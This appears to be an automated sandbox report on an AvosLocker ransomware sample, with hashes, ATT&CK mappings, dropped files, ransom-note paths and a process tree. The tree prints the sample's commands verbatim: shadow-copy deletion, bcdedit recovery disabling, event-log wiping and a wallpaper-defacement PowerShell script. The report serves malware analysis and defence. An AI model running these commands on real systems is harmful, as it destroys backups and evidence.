avoslocker | 1676db653523cf585f02707f8f4c337ecb1aaf5afd07416e07e50f14acc88884

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29/12/2024, 00:11

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General

Target

sex.exe
Size

1.6MB
MD5

81130843e119926881fd292f78698e43
SHA1

0aacdd67768c851e8f64658bf5e79abb26fc7d94
SHA256

1676db653523cf585f02707f8f4c337ecb1aaf5afd07416e07e50f14acc88884
SHA512

b92f808bd07c824faf1e23061861cce4f5410fe62d19a0f0a68a2ec3a6adb117e783074f87162eaecaaa447e682df406c481ba68167dc9e15612eb2f84f896da
SSDEEP

24576:yImw98okVgela0as5CqLVO7XJCjkD3N0HRAxV0aEhbHdn0TrldepPZ:cL5ljasaUKeaEhDF

Score

10^/10

avoslocker defense_evasion discovery evasion execution impact ransomware upx

Malware Config

Signatures

Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
ransomware avoslocker
Avoslocker family
avoslocker
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2812	bcdedit.exe
2004	bcdedit.exe

Renames multiple (10447) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Executes dropped EXE 2 IoCs

pid	Process
2664	hack.exe
2496	Firefox Installer.exe

Loads dropped DLL 1 IoCs

pid	Process
2496	Firefox Installer.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI	hack.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	hack.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\996247162.png"	reg.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2496-12-0x0000000000400000-0x0000000000446000-memory.dmp	upx
behavioral1/files/0x000700000001945b-11.dat	upx
behavioral1/memory/2496-19-0x0000000000400000-0x0000000000446000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\BLUECALM\PREVIEW.GIF	hack.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\button_left_mouseout.png	hack.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.servlet_1.1.500.v20140318-1755.jar	hack.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIconSubpi.png	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF	hack.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\Web Server Extensions\14\BIN\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\TRANSLAT\ARFR\MSB1ARFR.ITS	hack.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_ButtonGraphic.png	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Americana.css	hack.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\divider-horizontal.png	hack.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-modules_zh_CN.jar	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE00720_.WMF	hack.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\ado\en-US\msader15.dll.mui	hack.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Indianapolis	hack.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-outline_ja.jar	hack.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\ECLIPSE_.SF	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\DataType\Category.accft	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Stationery\1033\PAWPRINT.GIF	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS.DEV_F_COL.HXK	hack.exe
File created	C:\Program Files\Microsoft Office\Office14\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\CASCADE\CASCADE.ELM	hack.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\Help\Hx.HxC	hack.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-waning-gibbous.png	hack.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaTypewriterBold.ttf	hack.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\nacl_irt_x86_64.nexe	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\GRIP.JPG	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR11F.GIF	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Perspective.thmx	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0149481.WMF	hack.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\novelty_m.png	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\ja-JP\settings.html	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\fr-FR\cpu.html	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsPreviewTemplate.html	hack.exe
File created	C:\Program Files\Java\jre7\bin\plugin2\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\GRPHFLT\WPGIMP32.FLT	hack.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\it-IT\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\Windows Journal\es-ES\PDIALOG.exe.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341654.JPG	hack.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Tokyo	hack.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.win32.nl_zh_4.4.0.v20140623020002.jar	hack.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.xml	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\es-ES\css\calendar.css	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\mset7db.kic	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\POWERPNT_COL.HXT	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0090087.WMF	hack.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\BLUEPRNT\THMBNAIL.PNG	hack.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Panama	hack.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\play-static.png	hack.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\en-US\IPSEventLogMsg.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Median.eftx	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0149118.JPG	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00458_.WMF	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY01253_.WMF	hack.exe
File created	C:\Program Files\Microsoft Games\Mahjong\fr-FR\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18184_.WMF	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01066_.WMF	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO01063_.WMF	hack.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_VideoInset.png	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\excel.exe.manifest	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\BORDERS\MSART5.BDR	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14981_.GIF	hack.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref_PAL.wmv	hack.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\utilityfunctions.js	hack.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1132	powershell.exe
15124	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Firefox Installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hack.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
640	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2664	hack.exe
1132	powershell.exe
15124	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2664	hack.exe
Token: SeIncreaseQuotaPrivilege	2164	WMIC.exe
Token: SeSecurityPrivilege	2164	WMIC.exe
Token: SeTakeOwnershipPrivilege	2164	WMIC.exe
Token: SeLoadDriverPrivilege	2164	WMIC.exe
Token: SeSystemProfilePrivilege	2164	WMIC.exe
Token: SeSystemtimePrivilege	2164	WMIC.exe
Token: SeProfSingleProcessPrivilege	2164	WMIC.exe
Token: SeIncBasePriorityPrivilege	2164	WMIC.exe
Token: SeCreatePagefilePrivilege	2164	WMIC.exe
Token: SeBackupPrivilege	2164	WMIC.exe
Token: SeRestorePrivilege	2164	WMIC.exe
Token: SeShutdownPrivilege	2164	WMIC.exe
Token: SeDebugPrivilege	2164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2164	WMIC.exe
Token: SeRemoteShutdownPrivilege	2164	WMIC.exe
Token: SeUndockPrivilege	2164	WMIC.exe
Token: SeManageVolumePrivilege	2164	WMIC.exe
Token: 33	2164	WMIC.exe
Token: 34	2164	WMIC.exe
Token: 35	2164	WMIC.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	6108	vssvc.exe
Token: SeRestorePrivilege	6108	vssvc.exe
Token: SeAuditPrivilege	6108	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2164	WMIC.exe
Token: SeSecurityPrivilege	2164	WMIC.exe
Token: SeTakeOwnershipPrivilege	2164	WMIC.exe
Token: SeLoadDriverPrivilege	2164	WMIC.exe
Token: SeSystemProfilePrivilege	2164	WMIC.exe
Token: SeSystemtimePrivilege	2164	WMIC.exe
Token: SeProfSingleProcessPrivilege	2164	WMIC.exe
Token: SeIncBasePriorityPrivilege	2164	WMIC.exe
Token: SeCreatePagefilePrivilege	2164	WMIC.exe
Token: SeBackupPrivilege	2164	WMIC.exe
Token: SeRestorePrivilege	2164	WMIC.exe
Token: SeShutdownPrivilege	2164	WMIC.exe
Token: SeDebugPrivilege	2164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2164	WMIC.exe
Token: SeRemoteShutdownPrivilege	2164	WMIC.exe
Token: SeUndockPrivilege	2164	WMIC.exe
Token: SeManageVolumePrivilege	2164	WMIC.exe
Token: 33	2164	WMIC.exe
Token: 34	2164	WMIC.exe
Token: 35	2164	WMIC.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 2664	1968	sex.exe	31
PID 1968 wrote to memory of 2664	1968	sex.exe	31
PID 1968 wrote to memory of 2664	1968	sex.exe	31
PID 1968 wrote to memory of 2664	1968	sex.exe	31
PID 1968 wrote to memory of 2496	1968	sex.exe	33
PID 1968 wrote to memory of 2496	1968	sex.exe	33
PID 1968 wrote to memory of 2496	1968	sex.exe	33
PID 1968 wrote to memory of 2496	1968	sex.exe	33
PID 1968 wrote to memory of 2496	1968	sex.exe	33
PID 1968 wrote to memory of 2496	1968	sex.exe	33
PID 1968 wrote to memory of 2496	1968	sex.exe	33
PID 2664 wrote to memory of 2692	2664	hack.exe	35
PID 2664 wrote to memory of 2692	2664	hack.exe	35
PID 2664 wrote to memory of 2692	2664	hack.exe	35
PID 2664 wrote to memory of 2692	2664	hack.exe	35
PID 2664 wrote to memory of 2124	2664	hack.exe	36
PID 2664 wrote to memory of 2124	2664	hack.exe	36
PID 2664 wrote to memory of 2124	2664	hack.exe	36
PID 2664 wrote to memory of 2124	2664	hack.exe	36
PID 2664 wrote to memory of 2728	2664	hack.exe	37
PID 2664 wrote to memory of 2728	2664	hack.exe	37
PID 2664 wrote to memory of 2728	2664	hack.exe	37
PID 2664 wrote to memory of 2728	2664	hack.exe	37
PID 2664 wrote to memory of 2732	2664	hack.exe	38
PID 2664 wrote to memory of 2732	2664	hack.exe	38
PID 2664 wrote to memory of 2732	2664	hack.exe	38
PID 2664 wrote to memory of 2732	2664	hack.exe	38
PID 2664 wrote to memory of 2848	2664	hack.exe	39
PID 2664 wrote to memory of 2848	2664	hack.exe	39
PID 2664 wrote to memory of 2848	2664	hack.exe	39
PID 2664 wrote to memory of 2848	2664	hack.exe	39
PID 2732 wrote to memory of 2812	2732	cmd.exe	40
PID 2732 wrote to memory of 2812	2732	cmd.exe	40
PID 2732 wrote to memory of 2812	2732	cmd.exe	40
PID 2728 wrote to memory of 2004	2728	cmd.exe	41
PID 2728 wrote to memory of 2004	2728	cmd.exe	41
PID 2728 wrote to memory of 2004	2728	cmd.exe	41
PID 2124 wrote to memory of 640	2124	cmd.exe	42
PID 2124 wrote to memory of 640	2124	cmd.exe	42
PID 2124 wrote to memory of 640	2124	cmd.exe	42
PID 2848 wrote to memory of 1132	2848	cmd.exe	43
PID 2848 wrote to memory of 1132	2848	cmd.exe	43
PID 2848 wrote to memory of 1132	2848	cmd.exe	43
PID 2692 wrote to memory of 2164	2692	cmd.exe	44
PID 2692 wrote to memory of 2164	2692	cmd.exe	44
PID 2692 wrote to memory of 2164	2692	cmd.exe	44
PID 2664 wrote to memory of 15124	2664	hack.exe	50
PID 2664 wrote to memory of 15124	2664	hack.exe	50
PID 2664 wrote to memory of 15124	2664	hack.exe	50
PID 2664 wrote to memory of 15124	2664	hack.exe	50
PID 15124 wrote to memory of 16148	15124	powershell.exe	51
PID 15124 wrote to memory of 16148	15124	powershell.exe	51
PID 15124 wrote to memory of 16148	15124	powershell.exe	51
PID 15124 wrote to memory of 16300	15124	powershell.exe	52
PID 15124 wrote to memory of 16300	15124	powershell.exe	52
PID 15124 wrote to memory of 16300	15124	powershell.exe	52

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\sex.exe
"C:\Users\Admin\AppData\Local\Temp\sex.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Users\Admin\AppData\Local\Temp\hack.exe
  "C:\Users\Admin\AppData\Local\Temp\hack.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\cmd.exe
    cmd /c wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2692
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2164
- - C:\Windows\system32\cmd.exe
    cmd /c vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      Interacts with shadow copies
      PID:640
- - C:\Windows\system32\cmd.exe
    cmd /c bcdedit /set {default} recoveryenabled No
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2004
- - C:\Windows\system32\cmd.exe
    cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2812
- - C:\Windows\system32\cmd.exe
    cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:15124
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\996247162.png /f
      4⤵
      Sets desktop wallpaper using registry
      PID:16148
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
      4⤵
      PID:16300
- C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2496
- - C:\Users\Admin\AppData\Local\Temp\7zS0C98CCE6\setup-stub.exe
    .\setup-stub.exe
    3⤵
    PID:1648

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\996247162.png

Filesize
32KB

MD5
1102d805d581b2642cec9945747c8968

SHA1
272aa475615770fe25968fc1787353ca08c89953

SHA256
59fde654769fa30863cfb5ae13b21c5adb797f59d810471ea47cf46c2f0dacc0

SHA512
aa3b456f24f541a9408653984d8916ba7e6eb7c18f3e0a054f01836c4ec0bfd3c186e7369a077adef7ee73b5452b3ad87b8a3b338aebe5482171e5fdbf1b54c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe

Filesize
364KB

MD5
530894a1f0eb42c7837db4d74829f5c6

SHA1
99909db6f574ca964a9b822b9b19fd2e851b8c1e

SHA256
aac3ce797f50e0a5b9f1b43aaaffb439d4c42e3cf5b9fbeac52fa3d263fde3d0

SHA512
0836dd919c5f5648ce3445f9a3c84afe5e1e694ff998f1204498b2a86b13ed297469bea88af0ad7e49c97cd57153c7c43fd0a311b4c2685f4dfca5574d1d10f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\hack.exe

Filesize
807KB

MD5
e27b5291c8fb2dfdeb7f16bb6851df5e

SHA1
40207f83b601cd60905c1f807ac0889c80dfe33f

SHA256
ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

SHA512
2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
efeedcae94262a8c32cf1923ab6e7072

SHA1
d60f1698d7b05e7da9c50d32328fc8053c8a9e91

SHA256
7343c8cd7180682bfeee523781b92b4a29fb5a4c60edf583128b1ce1a9a69a4a

SHA512
b15dc3676a4fb23095f084c760dafe2117314f43ee371791272d8e31271e60e4139c93e8deb91935424d07fd39f2d264993d948f9e8cbdc237825d3d79f5e63b

Download Submit
\Device\HarddiskVolume1\Boot\it-IT\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
c92c2b70fb37f84aab38412ad9226aa8

SHA1
14f2e9a83285612d0a7b2c83b8f89bccfde6c154

SHA256
d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

SHA512
04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

Download Submit
\Users\Admin\AppData\Local\Temp\7zS0C98CCE6\setup-stub.exe

Filesize
630KB

MD5
ea482758c49d3c0064c6a40e797ab046

SHA1
e93f077ca6fd640e28eb9bd692f44d57ed96fa1a

SHA256
8c6eb21ff36dcb4b2adcf556039a9ef518a3e25a1fa02bd2b8d5d8ecd344d06c

SHA512
f950457146fa6de0eddfb8219b782f019d97b45a6b2d6fb66e6f3fed28b62a15c86cd22c96a3e402b06c6bb7f14c923925e2abb7e49422dcc7e2b681b7c1c3da

Download Submit
memory/1132-576-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download
memory/1132-597-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/1968-10-0x000000013FC60000-0x000000013FDF9000-memory.dmp

Filesize
1.6MB

Download
memory/2496-19-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/2496-12-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/15124-24661-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/15124-24662-0x00000000028A0000-0x00000000028A8000-memory.dmp

Filesize
32KB

Download